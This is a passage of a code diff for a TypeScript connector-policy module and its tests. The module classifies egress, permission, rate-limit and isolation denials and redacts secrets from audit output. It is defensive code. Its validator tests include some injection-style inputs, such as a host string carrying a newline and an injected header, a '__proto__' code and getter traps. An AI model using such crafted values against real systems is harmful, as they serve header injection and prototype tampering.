+    const missing = ['contacts.write'];
+    const details = {
+      requiredPermissions: ['contacts.read', 'contacts.write'],
+      missingPermissions: missing,
+      permissionPolicyVersion: 'permissions-v7',
+    };
+    const error = new ConnectorPolicyError(
+      'publish',
+      'permissions',
+      'blocked',
+      {
+        code: 'PERMISSION_MISSING',
+        details,
+      },
+    );
+    missing.push('secrets.read');
+    details.requiredPermissions.length = 0;
+    details.permissionPolicyVersion = 'changed';
+    expect(error.details).toEqual({
+      requiredPermissions: ['contacts.read', 'contacts.write'],
+      missingPermissions: ['contacts.write'],
+      permissionPolicyVersion: 'permissions-v7',
+    });
+    expect(Object.isFrozen(error.details)).toBe(true);
+    const metadata = captureConnectorDenialMetadata({
+      code: 'PERMISSION_MISSING',
+      details: error.details,
+    });
+    expect(Object.isFrozen(metadata)).toBe(true);
+    if (metadata.code !== 'PERMISSION_MISSING') {
+      throw new Error('permission metadata code changed during capture');
+    }
+    expect(Object.isFrozen(metadata.details?.missingPermissions)).toBe(true);
+  });
+
+  it('retains precise details in the typed capture overload', () => {
+    const captured = captureConnectorDenialMetadata({
+      code: 'EGRESS_REDIRECT_HOST_DENIED',
+      details: { host: 'api.example.com', hop: 1 },
+    });
+    expectTypeOf(captured.code).toEqualTypeOf<'EGRESS_REDIRECT_HOST_DENIED'>();
+    expectTypeOf(captured.details?.host).toEqualTypeOf<
+      string | null | undefined
+    >();
+    expect(captured.details).toEqual({ host: 'api.example.com', hop: 1 });
+  });
+
+  it.each([
+    '',
+    '[::1]',
+    '_service.example.com',
+    '-host.example.com',
+    '!host.test',
+    'foo.',
+    '%f0%9f%8c%90',
+  ])('preserves safe parsed host %j without applying declaration grammar', (host) => {
+    expect(
+      captureConnectorDenialMetadata({
+        code: 'EGRESS_HOST_NOT_DECLARED',
+        details: { host, hop: 0 },
+      }).details,
+    ).toEqual({ host, hop: 0 });
+  });
+
+  it.each([
+    null,
+    { code: 'UNKNOWN' },
+    { code: '__proto__' },
+    { code: 'CONNECTOR_ALLOWED' },
+    { code: 'STORE_UNAVAILABLE' },
+    { code: 'EVALUATOR_FAILED' },
+    { code: 'EVALUATOR_DENIED', retryable: true },
+    { code: 'EVALUATOR_DENIED', policyKind: 'rate-limit' },
+    { code: 'EVALUATOR_DENIED', details: { key: 'secret' } },
+    { code: 'RATE_LIMIT_EXCEEDED', details: { limit: -1 } },
+    { code: 'RATE_LIMIT_EXCEEDED', details: { windowMs: Number.NaN } },
+    {
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      details: { host: 'https://x.test/private' },
+    },
+    { code: 'EGRESS_HOST_NOT_DECLARED', details: { host: 'user@x.test' } },
+    {
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      details: { host: 'host.test\nheader: secret' },
+    },
+    { code: 'EGRESS_HOST_NOT_DECLARED', details: { hop: 0.5 } },
+    {
+      code: 'EGRESS_HOST_NOT_DECLARED',
+      details: { host: 'x.test', url: 'secret' },
+    },
+    {
+      code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      details: { declaredHost: '_host.test' },
+    },
+    { code: 'PERMISSION_MISSING', details: { missingPermissions: ['Secret'] } },
+    {
+      code: 'PERMISSION_MISSING',
+      details: { permissionPolicyVersion: '\nsecret' },
+    },
+    { code: 'PERMISSION_MISSING', details: { permissions: ['secrets.read'] } },
+    {
+      code: 'PERMISSION_PROJECTION_INVALID',
+      details: { missingPermissions: ['secrets.read'] },
+    },
+  ])('refuses malformed explicit metadata %j', (metadata) => {
+    expect(() => captureConnectorDenialMetadata(metadata)).toThrow(
+      'invalid connector decision metadata',
+    );
+    expect(
+      () =>
+        new ConnectorPolicyError(
+          'publish',
+          'custom',
+          'blocked',
+          metadata as ConnectorDenialMetadata,
+        ),
+    ).toThrow('invalid connector decision metadata');
+  });
+
+  it('captures legacy and explicitly coded evaluator results', () => {
+    expect(
+      captureConnectorEvaluatorMetadata({ allowed: false, reason: 'blocked' }),
+    ).toEqual({ code: 'EVALUATOR_DENIED' });
+    expect(
+      captureConnectorEvaluatorMetadata({
+        allowed: false,
+        reason: 'blocked',
+        code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+        details: { declaredHost: '*.example.com' },
+      }),
+    ).toEqual({
+      code: 'EGRESS_HOST_NOT_ALLOWED_BY_ORG',
+      details: { declaredHost: '*.example.com' },
+    });
+    expect(
+      captureConnectorDenialMetadata({
+        code: 'EVALUATOR_DENIED',
+        details: undefined,
+      }),
+    ).toEqual({ code: 'EVALUATOR_DENIED' });
+  });
+
+  it.each([
+    null,
+    [],
+    { details: undefined },
+    { code: undefined },
+    { code: 'CONNECTOR_ALLOWED' },
+    { code: 'EVALUATOR_DENIED', retryable: false },
+    { code: 'EVALUATOR_DENIED', policyKind: 'evaluator' },
+    Object.create({ code: 'EVALUATOR_DENIED' }),
+    Object.defineProperty({}, 'code', { get: () => 'EVALUATOR_DENIED' }),
+    Object.defineProperty({ code: 'EVALUATOR_DENIED' }, 'details', {
+      get: () => undefined,
+    }),
+  ])('fails instead of falling back for invalid evaluator metadata %j', (value) => {
+    expect(() => captureConnectorEvaluatorMetadata(value)).toThrow(
+      'invalid connector decision metadata',
+    );
+  });
+});
+
+describe('authored connector failures', () => {
+  it.each([
+    [
+      'rate-limit',
+      'increment',
+      'STORE_UNAVAILABLE',
+      true,
+      'connector store unavailable',
+    ],
+    [
+      'idempotency',
+      'get',
+      'STORE_UNAVAILABLE',
+      true,
+      'connector store unavailable',
+    ],
+    [
+      'idempotency',
+      'inspect',
+      'STORE_UNAVAILABLE',
+      true,
+      'connector store unavailable',
+    ],
+    [
+      'idempotency',
+      'reserve',
+      'STORE_UNAVAILABLE',
+      true,
+      'connector store unavailable',
+    ],
+    [
+      'idempotency',
+      'put',
+      'STORE_COMMIT_FAILED',
+      false,
+      'connector store commit failed',
+    ],
+    [
+      'idempotency',
+      'release',
+      'STORE_RELEASE_FAILED',
+      false,
+      'connector store release failed',
+    ],
+  ] as const)('classifies %s.%s without exposing its cause', (store, operation, code, retryable, message) => {
+    const cause = { secret: 'store-token', circular: undefined as unknown };
+    cause.circular = cause;
+    const error = new ConnectorStoreError('publish', store, operation, {
+      cause,
+    });
+    expect(error).toMatchObject({
+      name: 'ConnectorStoreError',
+      kind: 'connector-store',
+      connector: 'publish',
+      store,
+      operation,
+      code,
+      retryable,
+      message,
+      policyKind: 'store',
+    });
+    expect(error.cause).toBe(cause);
+    expect(Object.getOwnPropertyDescriptor(error, 'cause')?.enumerable).toBe(
+      false,
+    );
+    expect(JSON.stringify(error)).not.toContain('store-token');
+    expect(JSON.stringify(safeAuditErrorSummary(error))).not.toContain(
+      'store-token',
+    );
+    expect(connectorErrorDecision(error)).toEqual({
+      kind: 'connector-store',
+      code,
+      policyKind: 'store',
+      retryable,
+      details: undefined,
+    });
+    const sanitized = new ConnectorStoreError(
+      error.connector,
+      error.store,
+      error.operation,
+    );
+    expect('cause' in sanitized).toBe(false);
+    expect(connectorErrorDecision(sanitized)).toEqual(
+      connectorErrorDecision(error),
+    );
+  });
+
+  it.each([
+    undefined,
+    null,
+    'secret',
+    42,
+    false,
+  ])('preserves the actual thrown value %j as a native cause', (cause) => {
+    const store = new ConnectorStoreError(
+      'publish',
+      'rate-limit',
+      'increment',
+      { cause },
+    );
+    const evaluator = new ConnectorEvaluatorError('publish', 'renamed', {
+      cause,
+    });
+    expect(store.cause).toBe(cause);
+    expect(evaluator.cause).toBe(cause);
+    expect(evaluator).toMatchObject({
+      message: 'connector policy evaluator failed',
+      code: 'EVALUATOR_FAILED',
+      kind: 'connector-evaluator',
+      policyKind: 'evaluator',
+      policy: 'renamed',
+      retryable: false,
+    });
+    expect(JSON.stringify(safeAuditErrorSummary(evaluator))).not.toContain(
+      'secret',
+    );
+  });
+
+  it.each([
+    ['rate-limit', 'put'],
+    ['idempotency', 'increment'],
+    ['custom', 'get'],
+    ['idempotency', 'unknown'],
+  ])('rejects impossible store metadata %s.%s', (store, operation) => {
+    expect(
+      () =>
+        new ConnectorStoreError(
+          'publish',
+          store as ConnectorStoreName,
+          operation as ConnectorStoreOperation,
+        ),
+    ).toThrow('invalid connector store operation');
+  });
+
+  it.each([
+    ['input', 'CONNECTOR_INPUT_INVALID'],
+    ['output', 'CONNECTOR_OUTPUT_INVALID'],
+  ] as const)('retains redacted %s validation compatibility', (phase, code) => {
+    const error = new ConnectorValidationError('publish', phase);
+    expect(error).toMatchObject({
+      name: 'ConnectorValidationError',
+      kind: 'connector-validation',
+      phase,
+      code,
+      policyKind: 'validation',
+      retryable: false,
+      message: 'connector invocation failed validation',
+    });
+    expect('cause' in error).toBe(false);
+  });
+
+  it.each([
+    'CONNECTOR_UNREGISTERED',
+    'CONNECTOR_BOUNDARY_MODIFIED',
+    'CONNECTOR_INVOCATION_OPTIONS_INVALID',
+    'CONNECTOR_BOUNDARY_UNVERIFIABLE',
+  ] as const)('preserves TypeError identity and explicit %s classification', (code) => {
+    const error = new ConnectorInvocationError(
+      undefined,
+      code,
+      'existing boundary message',
+    );
+    expect(error).toBeInstanceOf(TypeError);
+    expect(error).toMatchObject({
+      name: 'ConnectorInvocationError',
+      kind: 'connector-invocation',
+      code,
+      policyKind: 'invocation',
+      retryable: false,
+      message: 'existing boundary message',
+    });
+    expect('cause' in error).toBe(false);
+  });
+
+  it('projects authored instances without accepting structural metadata as authority', () => {
+    const error = new ConnectorPolicyError(
+      'publish',
+      'custom',
+      'secret-reason',
+      { code: 'IDEMPOTENCY_CONFLICT' },
+    );
+    const projected = connectorErrorDecision(error);
+    expect(projected).toEqual({
+      kind: 'connector-policy',
+      code: 'IDEMPOTENCY_CONFLICT',
+      policyKind: 'idempotency',
+      retryable: true,
+      details: undefined,
+    });
+    expect(Object.isFrozen(projected)).toBe(true);
+    expect(connectorErrorDecision({ ...error })).toBeUndefined();
+    expect(connectorErrorDecision(new Error('secret-reason'))).toBeUndefined();
+    expect(connectorErrorDecision(null)).toBeUndefined();
+    expect(JSON.stringify(projected)).not.toContain('secret-reason');
+    expect(JSON.stringify(safeAuditErrorSummary(error))).not.toContain(
+      'secret-reason',
+    );
+  });
+});
diff --git a/packages/breakwater/src/connector-decision.ts b/packages/breakwater/src/connector-decision.ts
new file mode 100644
index 00000000..a9ddf0b1
--- /dev/null
+++ b/packages/breakwater/src/connector-decision.ts
@@ -0,0 +1,584 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { z } from 'zod';
+import { registerSafeAuditError } from './audit/safe-error.js';
+import {
+  isPermissionIdentifier,
+  isPrincipalPermissions,
+} from './rbac/permission.js';
+
+/** Canonical connector policy category, independent of a diagnostic name. */
+export type ConnectorPolicyName =
+  | 'egress-fetch'
+  | 'network-egress'
+  | 'write-permissions'
+  | 'required-permissions'
+  | 'rate-limit'
+  | 'idempotency'
+  | 'idempotency-key-migration'
+  | 'cross-workflow-isolation'
+  | 'tenant-isolation'
+  | 'background'
+  | 'background-execution'
+  | 'dry-run'
+  | 'evaluator'
+  | 'store'
+  | 'validation'
+  | 'invocation'
+  | 'execution';
+
+function decision<const P extends ConnectorPolicyName, const R extends boolean>(
+  policyKind: P,
+  retryable: R,
+) {
+  return Object.freeze({ policyKind, retryable });
+}
+
+/** Stable classification; retrying preserves the logical operation's identity. */
+export const CONNECTOR_DECISIONS = Object.freeze({
+  CONNECTOR_ALLOWED: decision('execution', false),
+  PERMISSION_GRANTED: decision('required-permissions', false),
+  APPROVAL_GRANTED: decision('write-permissions', false),
+  IDEMPOTENCY_TAKEOVER: decision('idempotency', false),
+  EGRESS_INPUT_INVALID: decision('egress-fetch', false),
+  EGRESS_URL_INVALID: decision('egress-fetch', false),
+  EGRESS_SCHEME_NOT_ALLOWED: decision('egress-fetch', false),
+  EGRESS_HOST_NOT_DECLARED: decision('egress-fetch', false),
+  EGRESS_REDIRECT_URL_INVALID: decision('egress-fetch', false),
+  EGRESS_REDIRECT_SCHEME_NOT_ALLOWED: decision('egress-fetch', false),
+  EGRESS_REDIRECT_HOST_DENIED: decision('egress-fetch', false),
+  EGRESS_REDIRECT_UNVERIFIABLE: decision('egress-fetch', false),
+  EGRESS_REDIRECT_LIMIT_EXCEEDED: decision('egress-fetch', false),
+  EGRESS_REDIRECT_BODY_UNREPLAYABLE: decision('egress-fetch', false),
+  EGRESS_DENIED: decision('egress-fetch', false),
+  EGRESS_HOST_NOT_ALLOWED_BY_ORG: decision('network-egress', false),
+  PERMISSION_PROJECTION_INVALID: decision('required-permissions', false),
+  PERMISSION_MISSING: decision('required-permissions', false),
+  APPROVAL_GRANT_MISSING: decision('write-permissions', false),
+  RATE_LIMIT_EXCEEDED: decision('rate-limit', true),
+  IDEMPOTENCY_KEY_MISSING: decision('idempotency', false),
+  IDEMPOTENCY_CONFLICT: decision('idempotency', true),
+  IDEMPOTENCY_LEGACY_AMBIGUOUS: decision('idempotency-key-migration', false),
+  IDEMPOTENCY_MIGRATION_REQUIRED: decision('idempotency-key-migration', false),
+  DRY_RUN_UNSUPPORTED: decision('dry-run', false),
+  WORKFLOW_SCOPE_MISSING: decision('cross-workflow-isolation', false),
+  CROSS_WORKFLOW_ACCESS_DENIED: decision('cross-workflow-isolation', false),
+  ISOLATION_SCOPE_MISSING: decision('tenant-isolation', false),
+  BACKGROUND_OVERRIDE_DENIED: decision('background', false),
+  BACKGROUND_EXECUTION_DENIED: decision('background-execution', false),
+  EVALUATOR_DENIED: decision('evaluator', false),
+  EVALUATOR_FAILED: decision('evaluator', false),
+  STORE_UNAVAILABLE: decision('store', true),
+  STORE_COMMIT_FAILED: decision('store', false),
+  STORE_RELEASE_FAILED: decision('store', false),
+  CONNECTOR_EXECUTION_FAILED: decision('execution', false),
+  CONNECTOR_INPUT_INVALID: decision('validation', false),
+  CONNECTOR_OUTPUT_INVALID: decision('validation', false),
+  CONNECTOR_UNREGISTERED: decision('invocation', false),
+  CONNECTOR_BOUNDARY_MODIFIED: decision('invocation', false),
+  CONNECTOR_INVOCATION_OPTIONS_INVALID: decision('invocation', false),
+  CONNECTOR_BOUNDARY_UNVERIFIABLE: decision('invocation', false),
+});
+
+/** A machine-readable connector decision. */
+export type ConnectorDecisionCode = keyof typeof CONNECTOR_DECISIONS;
+
+/** Whether a value names an own member of the decision catalogue. */
+export function isConnectorDecisionCode(
+  value: unknown,
+): value is ConnectorDecisionCode {
+  return typeof value === 'string' && Object.hasOwn(CONNECTOR_DECISIONS, value);
+}
+
+/** Whether the same logical operation may be retried after its condition clears. */
+export function connectorDecisionRetryable(
+  code: ConnectorDecisionCode,
+): boolean {
+  if (!isConnectorDecisionCode(code)) {
+    throw new TypeError('invalid connector decision code');
+  }
+  return CONNECTOR_DECISIONS[code].retryable;
+}
+
+/** A decision code that can deny connector execution. */
+export type ConnectorDenialCode =
+  | 'EGRESS_INPUT_INVALID'
+  | 'EGRESS_URL_INVALID'
+  | 'EGRESS_SCHEME_NOT_ALLOWED'
+  | 'EGRESS_HOST_NOT_DECLARED'
+  | 'EGRESS_REDIRECT_URL_INVALID'
+  | 'EGRESS_REDIRECT_SCHEME_NOT_ALLOWED'
+  | 'EGRESS_REDIRECT_HOST_DENIED'
+  | 'EGRESS_REDIRECT_UNVERIFIABLE'
+  | 'EGRESS_REDIRECT_LIMIT_EXCEEDED'
+  | 'EGRESS_REDIRECT_BODY_UNREPLAYABLE'
+  | 'EGRESS_DENIED'
+  | 'EGRESS_HOST_NOT_ALLOWED_BY_ORG'
+  | 'PERMISSION_PROJECTION_INVALID'
+  | 'PERMISSION_MISSING'
+  | 'APPROVAL_GRANT_MISSING'
+  | 'RATE_LIMIT_EXCEEDED'
+  | 'IDEMPOTENCY_KEY_MISSING'
+  | 'IDEMPOTENCY_CONFLICT'
+  | 'IDEMPOTENCY_LEGACY_AMBIGUOUS'
+  | 'IDEMPOTENCY_MIGRATION_REQUIRED'
+  | 'DRY_RUN_UNSUPPORTED'
+  | 'WORKFLOW_SCOPE_MISSING'
+  | 'CROSS_WORKFLOW_ACCESS_DENIED'
+  | 'ISOLATION_SCOPE_MISSING'
+  | 'BACKGROUND_OVERRIDE_DENIED'
+  | 'BACKGROUND_EXECUTION_DENIED'
+  | 'EVALUATOR_DENIED';
+
+/** Copied, code-specific diagnostic fields that exclude causes and payloads. */
+export type ConnectorDecisionDetails<
+  Code extends ConnectorDenialCode = ConnectorDenialCode,
+> =
+  Code extends Exclude<
+    Extract<ConnectorDenialCode, `EGRESS_${string}`>,
+    'EGRESS_HOST_NOT_ALLOWED_BY_ORG'
+  >
+    ? Readonly<{ host?: string | null; hop?: number }>
+    : Code extends 'EGRESS_HOST_NOT_ALLOWED_BY_ORG'
+      ? Readonly<{ declaredHost?: string }>
+      : Code extends 'PERMISSION_PROJECTION_INVALID'
+        ? Readonly<{ requiredPermissions?: readonly string[] }>
+        : Code extends 'PERMISSION_MISSING'
+          ? Readonly<{
+              requiredPermissions?: readonly string[];
+              missingPermissions?: readonly string[];
+              permissionPolicyVersion?: string;
+            }>
+          : Code extends 'RATE_LIMIT_EXCEEDED'
+            ? Readonly<{ limit?: number; windowMs?: number }>
+            : never;
+
+/** Safe detail fields associated with each connector denial code. */
+export type ConnectorDenialMetadata = {
+  [Code in ConnectorDenialCode]: Readonly<{
+    code: Code;
+    details?: ConnectorDecisionDetails<Code>;
+  }>;
+}[ConnectorDenialCode];
+
+const normalizedDeclaration = z
+  .string()
+  .refine((value) => /^(?:\*\.)?[a-z0-9][a-z0-9.-]*$/.test(value));
+const normalizedHost = z.string().refine((value) => {
+  if (/^\[[0-9a-f:.]+\]$/.test(value)) return true;
+  if (value !== value.toLowerCase() || /[#/:<>?@[\\\]^|]/.test(value)) {
+    return false;
+  }
+  for (const character of value) {
+    const code = character.charCodeAt(0);
+    if (code <= 0x20 || code === 0x7f) return false;
+  }
+  return true;
+});
+const egressDetails = z
+  .strictObject({
+    host: normalizedHost.nullable().optional(),
+    hop: z.number().int().nonnegative().safe().optional(),
+  })
+  .readonly();
+const permissions = z
+  .array(z.custom<string>(isPermissionIdentifier))
+  .readonly();
+const policyVersion = z.custom<string>((value) =>
+  isPrincipalPermissions({ permissions: [], policyVersion: value }),
+);
+const noDetails = z.never();
+
+const denialDetails = {
+  EGRESS_INPUT_INVALID: egressDetails,
+  EGRESS_URL_INVALID: egressDetails,
+  EGRESS_SCHEME_NOT_ALLOWED: egressDetails,
+  EGRESS_HOST_NOT_DECLARED: egressDetails,
+  EGRESS_REDIRECT_URL_INVALID: egressDetails,
+  EGRESS_REDIRECT_SCHEME_NOT_ALLOWED: egressDetails,
+  EGRESS_REDIRECT_HOST_DENIED: egressDetails,
+  EGRESS_REDIRECT_UNVERIFIABLE: egressDetails,
+  EGRESS_REDIRECT_LIMIT_EXCEEDED: egressDetails,
+  EGRESS_REDIRECT_BODY_UNREPLAYABLE: egressDetails,
+  EGRESS_DENIED: egressDetails,
+  EGRESS_HOST_NOT_ALLOWED_BY_ORG: z
+    .strictObject({ declaredHost: normalizedDeclaration.optional() })
+    .readonly(),
+  PERMISSION_PROJECTION_INVALID: z
+    .strictObject({ requiredPermissions: permissions.optional() })
+    .readonly(),
+  PERMISSION_MISSING: z
+    .strictObject({
+      requiredPermissions: permissions.optional(),
+      missingPermissions: permissions.optional(),
+      permissionPolicyVersion: policyVersion.optional(),
+    })
+    .readonly(),
+  APPROVAL_GRANT_MISSING: noDetails,
+  RATE_LIMIT_EXCEEDED: z
+    .strictObject({
+      limit: z.number().int().positive().safe().optional(),
+      windowMs: z.number().int().positive().safe().optional(),
+    })
+    .readonly(),
+  IDEMPOTENCY_KEY_MISSING: noDetails,
+  IDEMPOTENCY_CONFLICT: noDetails,
+  IDEMPOTENCY_LEGACY_AMBIGUOUS: noDetails,
+  IDEMPOTENCY_MIGRATION_REQUIRED: noDetails,
+  DRY_RUN_UNSUPPORTED: noDetails,
+  WORKFLOW_SCOPE_MISSING: noDetails,
+  CROSS_WORKFLOW_ACCESS_DENIED: noDetails,
+  ISOLATION_SCOPE_MISSING: noDetails,
+  BACKGROUND_OVERRIDE_DENIED: noDetails,
+  BACKGROUND_EXECUTION_DENIED: noDetails,
+  EVALUATOR_DENIED: noDetails,
+} satisfies {
+  [Code in ConnectorDenialCode]: z.ZodType<ConnectorDecisionDetails<Code>>;
+};
+
+function invalidMetadata(): never {
+  throw new TypeError('invalid connector decision metadata');
+}
+
+const explicitMetadata = z.strictObject({
+  code: z.custom<ConnectorDenialCode>(
+    (value) => typeof value === 'string' && Object.hasOwn(denialDetails, value),
+  ),
+  details: z.unknown().optional(),
+});
+
+/** @internal */
+export function captureConnectorDenialMetadata<
+  Code extends ConnectorDenialCode,
+>(value: {
+  code: Code;
+  details?: Extract<ConnectorDenialMetadata, { code: Code }>['details'];
+}): Extract<ConnectorDenialMetadata, { code: Code }>;
+/** @internal */
+export function captureConnectorDenialMetadata(
+  value: unknown,
+): ConnectorDenialMetadata;
+export function captureConnectorDenialMetadata(
+  value: unknown,
+): ConnectorDenialMetadata {
+  const parsed = explicitMetadata.safeParse(value);
+  if (!parsed.success) return invalidMetadata();
+  const { code, details } = parsed.data;
+  if (details === undefined) {
+    return Object.freeze({ code }) as ConnectorDenialMetadata;
+  }
+  const parsedDetails = denialDetails[code].safeParse(details);
+  if (!parsedDetails.success) return invalidMetadata();
+  return Object.freeze({
+    code,
+    details: parsedDetails.data,
+  }) as ConnectorDenialMetadata;
+}
+
+/** @internal */
+export function captureConnectorEvaluatorMetadata(
+  decision: unknown,
+): ConnectorDenialMetadata {
+  if (
+    decision === null ||
+    typeof decision !== 'object' ||
+    Array.isArray(decision) ||
+    'retryable' in decision ||
+    'policyKind' in decision
+  ) {
+    return invalidMetadata();
+  }
+  const code = Object.getOwnPropertyDescriptor(decision, 'code');
+  const details = Object.getOwnPropertyDescriptor(decision, 'details');
+  if (
+    (code && !('value' in code)) ||
+    (details && !('value' in details)) ||
+    (!code && 'code' in decision) ||
+    (!details && 'details' in decision)
+  ) {
+    return invalidMetadata();
+  }
+  if (!code && !details) return Object.freeze({ code: 'EVALUATOR_DENIED' });
+  return captureConnectorDenialMetadata({
+    code: code?.value,
+    details: details?.value,
+  });
+}
+
+/** Stable metadata for errors authored by the connector boundary. */
+export interface ConnectorErrorDecision {
+  readonly kind:
+    | 'connector-policy'
+    | 'connector-store'
+    | 'connector-evaluator'
+    | 'connector-validation'
+    | 'connector-invocation';
+  readonly code: ConnectorDecisionCode;
+  readonly policyKind: ConnectorPolicyName;
+  readonly retryable: boolean;
+  readonly details?: ConnectorDecisionDetails;
+}
+
+const errorDecisions = new WeakMap<object, ConnectorErrorDecision>();
+
+function registerDecision(
+  error: Error,
+  kind: ConnectorErrorDecision['kind'],
+  code: ConnectorDecisionCode,
+  reason: string,
+  details?: ConnectorDecisionDetails,
+): void {
+  const { policyKind, retryable } = CONNECTOR_DECISIONS[code];
+  errorDecisions.set(
+    error,
+    Object.freeze({ kind, code, policyKind, retryable, details }),
+  );
+  registerSafeAuditError(error, {
+    reason,
+    detail: { kind, decisionCode: code, policyKind, retryable },
+  });
+}
+
+/** @internal */
+export function connectorErrorDecision(
+  error: unknown,
+): ConnectorErrorDecision | undefined {
+  return typeof error === 'object' && error !== null
+    ? errorDecisions.get(error)
+    : undefined;
+}
+
+/**
+ * `value instanceof ctor` for a value the caller does not own. The check walks
+ * the value's prototype chain, so a thrown value whose `getPrototypeOf` is a
+ * trap answers with a throw; a value that cannot say what it is, is not the
+ * constructor asked about.
+ *
+ * The test for reaching for it: the operand came from the connector — a value
+ * it returned or threw — rather than from the host or from the SDK. A
+ * `validateOutput` failure, a `Promise` the SDK awaits and a store the caller
+ * passed to the constructor sit on the trusted side and take a bare
+ * `instanceof`. An enclosing `try` that already covers the read guards it too,
+ * which is what a bare `instanceof` on a connector's thrown value inside one
+ * relies on. Where the answer is a classification over several constructors,
+ * one guarded classification covers them all.
+ *
+ * @internal
+ */
+export function isInstanceOf<T>(
+  value: unknown,
+  ctor: abstract new (...args: never[]) => T,
+): value is T {
+  try {
+    return value instanceof ctor;
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * `value[key]` for a value the caller does not own. The read runs whatever
+ * `get` accessor the value carries, so a property that answers with a throw is
+ * not the value asked about. The companion of `isInstanceOf` for one property
+ * of such a value, under the same test.
+ *
+ * @internal
+ */
+export function readProperty<T extends object, K extends keyof T>(
+  value: T,
+  key: K,
+): T[K] | undefined {
+  try {
+    return value[key];
+  } catch {
+    return undefined;
+  }
+}
+
+/** Policy refusal; diagnostic names do not determine machine classification. */
+export class ConnectorPolicyError extends Error {
+  readonly kind = 'connector-policy';
+  readonly connector: string;
+  readonly policy: string;
+  readonly reason: string;
+  readonly code: ConnectorDenialCode;
+  readonly policyKind: ConnectorPolicyName;
+  readonly retryable: boolean;
+  readonly details?: ConnectorDecisionDetails;
+
+  constructor(
+    connector: string,
+    policy: string,
+    reason: string,
+    metadata?: ConnectorDenialMetadata,
+  ) {
+    super(`connector ${connector} denied by ${policy}: ${reason}`);
+    const captured = captureConnectorDenialMetadata(
+      metadata === undefined ? { code: 'EVALUATOR_DENIED' } : metadata,
+    );
+    this.name = 'ConnectorPolicyError';
+    this.connector = connector;
+    this.policy = policy;
+    this.reason = reason;
+    this.code = captured.code;
+    this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind;
+    this.retryable = CONNECTOR_DECISIONS[this.code].retryable;
+    this.details = captured.details;
+    registerDecision(
+      this,
+      this.kind,
+      this.code,
+      'connector policy denied execution',
+      this.details,
+    );
+  }
+}
+
+/** Store used at the connector enforcement boundary. */
+export type ConnectorStoreName = 'rate-limit' | 'idempotency';
+
+/** Actual store method whose invocation failed. */
+export type ConnectorStoreOperation =
+  | 'increment'
+  | 'get'
+  | 'inspect'
+  | 'reserve'
+  | 'put'
+  | 'release';
+
+/** Storage failure with its original thrown value available as native cause. */
+export class ConnectorStoreError extends Error {
+  readonly kind = 'connector-store';
+  readonly connector: string;
+  readonly store: ConnectorStoreName;
+  readonly operation: ConnectorStoreOperation;
+  readonly code:
+    | 'STORE_UNAVAILABLE'
+    | 'STORE_COMMIT_FAILED'
+    | 'STORE_RELEASE_FAILED';
+  readonly policyKind: 'store';
+  readonly retryable: boolean;
+
+  constructor(
+    connector: string,
+    store: ConnectorStoreName,
+    operation: ConnectorStoreOperation,
+    options?: ErrorOptions,
+  ) {
+    const code =
+      operation === 'put'
+        ? 'STORE_COMMIT_FAILED'
+        : operation === 'release'
+          ? 'STORE_RELEASE_FAILED'
+          : 'STORE_UNAVAILABLE';
+    const message =
+      code === 'STORE_COMMIT_FAILED'
+        ? 'connector store commit failed'
+        : code === 'STORE_RELEASE_FAILED'
+          ? 'connector store release failed'
+          : 'connector store unavailable';
+    super(message, options);
+    if (
+      (store !== 'rate-limit' && store !== 'idempotency') ||
+      (store === 'rate-limit'
+        ? operation !== 'increment'
+        : !['get', 'inspect', 'reserve', 'put', 'release'].includes(operation))
+    ) {
+      throw new TypeError('invalid connector store operation');
+    }
+    this.name = 'ConnectorStoreError';
+    this.connector = connector;
+    this.store = store;
+    this.operation = operation;
+    this.code = code;
+    this.policyKind = CONNECTOR_DECISIONS[code].policyKind;
+    this.retryable = CONNECTOR_DECISIONS[code].retryable;
+    registerDecision(this, this.kind, code, message);
+  }
+}
+
+/** An evaluator failed before returning a valid connector decision. */
+export class ConnectorEvaluatorError extends Error {
+  readonly kind = 'connector-evaluator';
+  readonly connector: string;
+  readonly policy: string;
+  readonly code = 'EVALUATOR_FAILED';
+  readonly policyKind = CONNECTOR_DECISIONS.EVALUATOR_FAILED.policyKind;
+  readonly retryable = CONNECTOR_DECISIONS.EVALUATOR_FAILED.retryable;
+
+  constructor(connector: string, policy: string, options?: ErrorOptions) {
+    super('connector policy evaluator failed', options);
+    this.name = 'ConnectorEvaluatorError';
+    this.connector = connector;
+    this.policy = policy;
+    registerDecision(this, this.kind, this.code, this.message);
+  }
+}
+
+/** Redacted input or output validation failure from a direct connector call. */
+export class ConnectorValidationError extends Error {
+  readonly kind = 'connector-validation';
+  readonly connector: string;
+  readonly phase: 'input' | 'output';
+  readonly code: 'CONNECTOR_INPUT_INVALID' | 'CONNECTOR_OUTPUT_INVALID';
+  readonly policyKind: 'validation';
+  readonly retryable: false;
+
+  constructor(connector: string, phase: 'input' | 'output') {
+    super('connector invocation failed validation');
+    if (phase !== 'input' && phase !== 'output') {
+      throw new TypeError('invalid connector validation phase');
+    }
+    this.name = 'ConnectorValidationError';
+    this.connector = connector;
+    this.phase = phase;
+    this.code =
+      phase === 'input'
+        ? 'CONNECTOR_INPUT_INVALID'
+        : 'CONNECTOR_OUTPUT_INVALID';
+    this.policyKind = CONNECTOR_DECISIONS[this.code].policyKind;
+    this.retryable = CONNECTOR_DECISIONS[this.code].retryable;
+    registerDecision(this, this.kind, this.code, this.message);
+  }
+}
+
+/** A failure to enter the registered connector invocation boundary. */
+export type ConnectorInvocationCode = {
+  [Code in ConnectorDecisionCode]: (typeof CONNECTOR_DECISIONS)[Code]['policyKind'] extends 'invocation'
+    ? Code
+    : never;
+}[ConnectorDecisionCode];
+
+/** Invalid direct invocation, retaining native TypeError compatibility. */
+export class ConnectorInvocationError extends TypeError {
+  readonly kind = 'connector-invocation';
+  readonly connector: string | undefined;
+  readonly code: ConnectorInvocationCode;
+  readonly policyKind: 'invocation';
+  readonly retryable: false;
+
+  constructor(
+    connector: string | undefined,
+    code: ConnectorInvocationCode,
+    message: string,
+  ) {
+    super(message);
+    if (
+      !isConnectorDecisionCode(code) ||
+      CONNECTOR_DECISIONS[code].policyKind !== 'invocation'
+    ) {
+      throw new TypeError('invalid connector invocation code');
+    }
+    this.name = 'ConnectorInvocationError';
+    this.connector = connector;
+    this.code = code;
